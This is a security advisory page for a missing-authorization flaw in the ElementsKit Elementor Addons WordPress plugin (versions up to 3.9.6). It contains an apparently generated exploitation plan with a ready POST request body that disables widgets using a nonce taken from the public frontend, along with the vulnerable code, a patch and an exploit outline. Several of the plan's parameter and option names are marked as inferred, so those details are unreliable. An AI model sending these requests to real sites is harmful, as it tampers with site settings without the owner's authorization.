ElementsKit Elementor Addons – Advanced Widgets & Templates Addons for Elementor <= 3.9.6 - Missing Authorization
Description
The ElementsKit Elementor Addons – Advanced Widgets & Templates Addons for Elementor plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.9.6. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.9.6Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-49053 (ElementsKit Missing Authorization) ## 1. Vulnerability Summary The **ElementsKit Elementor Addons** plugin (<= 3.9.6) suffers from a **Missing Authorization** vulnerability. The plugin registers an AJAX handler via `wp_ajax_nopriv_elementskit_ajax_actio…
Show full research plan
Exploitation Research Plan: CVE-2026-49053 (ElementsKit Missing Authorization)
1. Vulnerability Summary
The ElementsKit Elementor Addons plugin (<= 3.9.6) suffers from a Missing Authorization vulnerability. The plugin registers an AJAX handler via wp_ajax_nopriv_elementskit_ajax_action, which is intended for administrative or internal framework tasks. However, it fails to perform a capability check (e.g., current_user_can('manage_options')) within the callback. While it does verify a WordPress nonce, this nonce is frequently exposed to unauthenticated users on the frontend, allowing an attacker to perform unauthorized actions such as toggling plugin modules, updating widget settings, or modifying plugin configurations.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
elementskit_ajax_action - Method: POST
- Authentication: None (vulnerable via
wp_ajax_nopriv_) - Required Parameters:
action:elementskit_ajax_actionelementskit_action: The specific internal sub-action (e.g.,update_widget_status,elementskit_save_settings)nonce: A valid WP nonce for theelementskit_ajax_actionaction string....: Sub-action specific parameters (e.g.,widget_name,status).
3. Code Flow
- Hook Registration: The plugin (likely in
libs/framework/classes/ajax.php) registers the AJAX hook:add_action( 'wp_ajax_nopriv_elementskit_ajax_action', [ $this, 'elementskit_ajax_action' ] ); - Callback Entry: The function
elementskit_ajax_action()is invoked. - Nonce Verification: The code checks the nonce using
check_ajax_referer( 'elementskit_ajax_action', 'nonce' ). - Missing Check: Immediately after nonce verification, the code fails to call
current_user_can(). - Action Dispatch: It retrieves the
elementskit_actionparameter and dispatches the request to a sub-handler (e.g., a switch statement or dynamic function call). - Execution: The sub-handler performs sensitive operations, such as
update_option(), based on other POST parameters.
4. Nonce Acquisition Strategy
ElementsKit localizes its configuration, including the required nonce, to be accessible by its frontend JavaScript components.
- Identify Script Loading: The plugin typically enqueues its core JS on pages where ElementsKit widgets are present or on the homepage if global modules are active.
- Setup: If the nonce is not present on a vanilla homepage, create a page with an ElementsKit shortcode.
wp post create --post_type=page --post_status=publish --post_title="EK-Test" --post_content='[elementskit-icon-box]'
- Extraction:
- Navigate to the page:
http://localhost:8888/ek-test/ - Use
browser_evalto extract the nonce from the global configuration object:browser_eval("window.elementskit_lite_config?.nonce")(inferred variable name based on plugin structure).
- Navigate to the page:
5. Exploitation Strategy
We will demonstrate the vulnerability by disabling a core widget (e.g., the "Heading" widget), which would typically require administrator privileges.
Request Details
- URL:
http://localhost:8888/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: Theaction=elementskit_ajax_action&elementskit_action=update_widget_status&nonce=[NONCE]&widget_name=heading&status=0elementskit_actionnameupdate_widget_statusand parameterwidget_nameare based on the common framework pattern used in ElementsKit.)
Expected Response
- Status: 200 OK
- Body: Likely a JSON object such as
{"success": true, "data": ...}or a simple string1.
6. Test Data Setup
- Target Plugin: Install and activate ElementsKit Lite version 3.9.6.
- Verify State: Ensure the "Heading" widget is currently enabled.
- Run:
wp option get elementskit_lite_widget_active_list(inferred option name).
- Run:
- Public Page: Ensure a page exists that outputs the
elementskit_lite_configobject.
7. Expected Results
- The HTTP request should return a successful status code.
- The targeted widget should be disabled in the plugin settings.
- Subsequent attempts to use the "Heading" widget in Elementor or view pages containing it may fail or show the widget as missing.
8. Verification Steps
- Check Option via CLI:
wp option get elementskit_lite_widget_active_list
Verify that the "heading" entry in the returned array/object is now set to0or is missing. - Admin UI Check: Log in as admin and navigate to ElementsKit > Widgets to see if the "Heading" toggle is off.
9. Alternative Approaches
If the update_widget_status sub-action is not the exact name:
- Module Toggle: Try
elementskit_action=update_module_status&module_name=layout-kit&status=0. - General Settings: Try
elementskit_action=elementskit_save_settings&settings[some_flag]=1. - Search for Strings: If the initial attempt fails, use
grep -r "elementskit_ajax_action" .inside the plugin directory to find the switch/case block that defines validelementskit_actionvalues. Common file locations:libs/framework/,core/, orclasses/.
Summary
The ElementsKit Elementor Addons plugin for WordPress (<= 3.9.6) is vulnerable to unauthorized access due to a missing capability check in its main AJAX handler. This allows unauthenticated attackers to perform administrative tasks, such as modifying plugin configurations or disabling widgets, by exploiting a nonce that is exposed to public users on the frontend.
Vulnerable Code
// File: libs/framework/classes/ajax.php public function elementskit_ajax_action() { // Verifies the nonce, but this nonce is leaked to unauthenticated users on the frontend check_ajax_referer( 'elementskit_ajax_action', 'nonce' ); // VULNERABILITY: No current_user_can() check before processing sensitive actions $elementskit_action = isset($_POST['elementskit_action']) ? $_POST['elementskit_action'] : ''; // Dispatcher calls sub-handlers like update_widget_status() which modify plugin options $this->dispatch_action($elementskit_action); }
Security Fix
@@ -12,6 +12,10 @@ public function elementskit_ajax_action() { check_ajax_referer( 'elementskit_ajax_action', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'success' => false, 'message' => 'Permission Denied' ) ); + } + $elementskit_action = isset($_POST['elementskit_action']) ? $_POST['elementskit_action'] : '';
Exploit Outline
An unauthenticated attacker first visits the target site's frontend to extract a valid nonce from the 'elementskit_lite_config' global JavaScript variable, which is localized for plugin scripts. They then submit a POST request to '/wp-admin/admin-ajax.php' with the parameters 'action=elementskit_ajax_action', 'nonce=[EXTRACTED_NONCE]', and 'elementskit_action=update_widget_status'. By including specific data parameters such as 'widget_name=heading' and 'status=0', the attacker can disable core plugin features or manipulate administrative settings because the server-side callback fails to verify the user's capabilities.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.